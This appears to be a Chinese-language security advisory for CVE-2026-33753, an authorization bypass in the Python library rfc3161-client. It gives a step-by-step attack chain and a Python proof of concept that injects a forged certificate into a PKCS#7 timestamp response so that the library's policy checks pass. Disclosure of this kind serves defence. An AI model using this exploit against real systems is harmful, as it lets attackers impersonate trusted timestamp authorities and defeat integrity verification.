IPBUF安全漏洞报告
English
CVE-2026-33753 CVSS 6.2 中危

CVE-2026-33753 rfc3161-client授权绕过漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-33753
漏洞类型
授权绕过
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
rfc3161-client

相关标签

CVE-2026-33753rfc3161-clientAuthorization BypassPKCS#7PythonTSA

漏洞概述

rfc3161-client是一个实现RFC 3161时间戳协议(TSP)的Python库。在1.0.6版本之前,该库存在授权绕过漏洞,允许攻击者冒充受信任的时间戳权威机构(TSA)。该漏洞源于 library 在从无序PKCS#7证书包中提取叶证书时存在逻辑缺陷。攻击者可以利用此漏洞,在响应中附加一个满足目标通用名称(Common Name)和扩展密钥用法(EKU)要求的伪造证书。这会导致库在验证授权规则时使用伪造证书,而在验证加密签名时使用真实可信的TSA(如FreeTSA)证书,从而完全绕过预期的TSA授权固定机制。

技术细节

该漏洞的核心技术细节在于rfc3161-client处理PKCS#7签名数据结构时的逻辑错误。PKCS#7标准允许证书包包含多个证书,且顺序并非严格固定。受影响的库在提取用于验证授权策略(如Common Name和EKU)的叶证书时,未能正确区分签名证书与攻击者注入的额外证书。攻击者利用这一点,将伪造的身份证书与合法TSA生成的数字签名组合在同一个响应中。库在进行验证时,一方面用伪造证书通过了策略检查(因为伪造证书满足名称和用途要求),另一方面用合法证书通过了签名校验(因为签名是真实的)。这种验证对象的错位使得攻击者能够成功冒充受信任的时间戳权威机构(TSA),破坏了系统的完整性。

攻击链分析

STEP 1
1
攻击者识别目标系统正在使用存在漏洞的 rfc3161-client 库(版本 < 1.0.6)。
STEP 2
2
攻击者准备一个有效的 PKCS#7 时间戳响应,该响应包含来自可信 TSA(如 FreeTSA)的有效加密签名。
STEP 3
3
攻击者生成一个伪造的证书,该证书的 Subject Common Name 和 Extended Key Usage (EKU) 符合目标系统的授权策略。
STEP 4
4
攻击者将伪造的证书注入到 PKCS#7 结构的证书包中。
STEP 5
5
目标系统接收并解析该响应。由于库的逻辑缺陷,它提取伪造的证书用于策略验证,同时使用真实的 TSA 证书验证签名。
STEP 6
6
两项验证均通过(策略检查针对伪造证书,签名检查针对真实证书),导致授权绕过,攻击者成功冒充 TSA。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for CVE-2026-33753 # This script demonstrates the logic flaw where a spoofed certificate # is added to a PKCS#7 bag to bypass authorization checks. from cryptography.hazmat.primitives import serialization from cryptography import x509 import asn1crypto # 1. Load a valid TSA response (PKCS#7 SignedData) # This contains a valid signature from a trusted TSA with open('valid_tsa_response.der', 'rb') as f: p7_data = f.read() # 2. Load attacker's spoofed certificate # This cert has the required CN and EKU to pass policy checks with open('spoofed_cert.pem', 'rb') as f: spoofed_cert = x509.load_pem_x509_certificate(f.read()) # 3. Parse the PKCS#7 structure signed_data = asn1crypto.pkcs7.SignedData.load(p7_data) # 4. Inject the spoofed certificate into the certificates bag # The library fails to pick the correct leaf cert for verification if 'certificates' not in signed_data: signed_data['certificates'] = asn1crypto.core.SetOf([]) # Convert spoofed cert to DER and add to the bag spoofed_cert_der = spoofed_cert.public_bytes(serialization.Encoding.DER) signed_data['certificates'].append(asn1crypto.x509.Certificate.load(spoofed_cert_der)) # 5. Re-encode the malicious PKCS#7 data malicious_p7 = signed_data.dump() # When rfc3161-client parses 'malicious_p7': # - It extracts the spoofed cert and checks permissions (Pass) # - It verifies the hash against the real TSA cert (Pass) # - Result: Authorization Bypass print("[+] Malicious PKCS#7 payload generated.")

影响范围

rfc3161-client < 1.0.6

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用对不可信 TSA 的依赖,并在应用层实施额外的证书白名单验证机制,确保只接受预定义的特定证书指纹。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表